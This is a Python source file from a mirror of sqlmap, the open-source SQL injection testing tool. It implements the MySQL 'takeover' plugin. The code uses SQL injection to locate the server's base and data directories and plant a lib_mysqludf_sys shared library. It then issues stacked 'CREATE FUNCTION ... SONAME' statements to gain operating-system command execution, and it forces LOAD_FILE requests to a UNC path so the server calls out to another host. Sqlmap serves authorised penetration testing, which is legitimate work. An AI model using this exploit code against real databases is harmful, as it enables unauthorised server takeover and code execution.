mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 17:46:37 +03:00
131 lines
5.3 KiB
Python
131 lines
5.3 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
the terms of the GNU General Public License as published by the Free
|
|
Software Foundation version 2 of the License.
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import normalizePath
|
|
from lib.core.common import ntToPosixSlashes
|
|
from lib.core.common import randomStr
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import paths
|
|
from lib.request import inject
|
|
from lib.request.connect import Connect as Request
|
|
|
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
|
|
|
class Takeover(GenericTakeover):
|
|
def __init__(self):
|
|
self.__basedir = None
|
|
self.__datadir = None
|
|
|
|
GenericTakeover.__init__(self)
|
|
|
|
def udfSetRemotePath(self):
|
|
self.getVersionFromBanner()
|
|
|
|
banVer = kb.bannerFp["dbmsVersion"]
|
|
|
|
# On Windows
|
|
if kb.os == "Windows":
|
|
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
|
if banVer >= "5.1.19":
|
|
if self.__basedir is None:
|
|
logger.info("retrieving MySQL base directory absolute path")
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
|
self.__basedir = inject.getValue("SELECT @@basedir")
|
|
self.__basedir = normalizePath(ntToPosixSlashes(self.__basedir))
|
|
|
|
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
|
kb.os = "Windows"
|
|
|
|
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
|
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
|
|
|
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
|
|
|
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
|
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
|
else:
|
|
#logger.debug("retrieving MySQL data directory absolute path")
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
|
#self.__datadir = inject.getValue("SELECT @@datadir")
|
|
|
|
# NOTE: specifying the relative path as './udf.dll'
|
|
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
|
self.__datadir = "."
|
|
self.__datadir = normalizePath(ntToPosixSlashes(self.__datadir))
|
|
|
|
if re.search("[\w]\:\/", self.__datadir, re.I):
|
|
kb.os = "Windows"
|
|
|
|
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
|
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
|
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
|
|
|
# On Linux
|
|
else:
|
|
# The SO can be in either /lib, /usr/lib or one of the
|
|
# paths specified in /etc/ld.so.conf file, none of these
|
|
# paths are writable by mysql user by default
|
|
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
|
|
|
def udfSetLocalPaths(self):
|
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
|
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
|
|
|
|
if kb.os == "Windows":
|
|
self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll"
|
|
self.udfSharedLibExt = "dll"
|
|
else:
|
|
self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so"
|
|
self.udfSharedLibExt = "so"
|
|
|
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
|
if udf in self.udfToCreate:
|
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
|
|
|
ret = inpRet["return"]
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
|
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
|
|
|
self.createdUdf.add(udf)
|
|
else:
|
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
|
|
|
def uncPathRequest(self):
|
|
if not kb.stackedTest:
|
|
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
|
query = agent.postfixQuery(query)
|
|
payload = agent.payload(newValue=query)
|
|
|
|
Request.queryPage(payload)
|
|
else:
|
|
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
|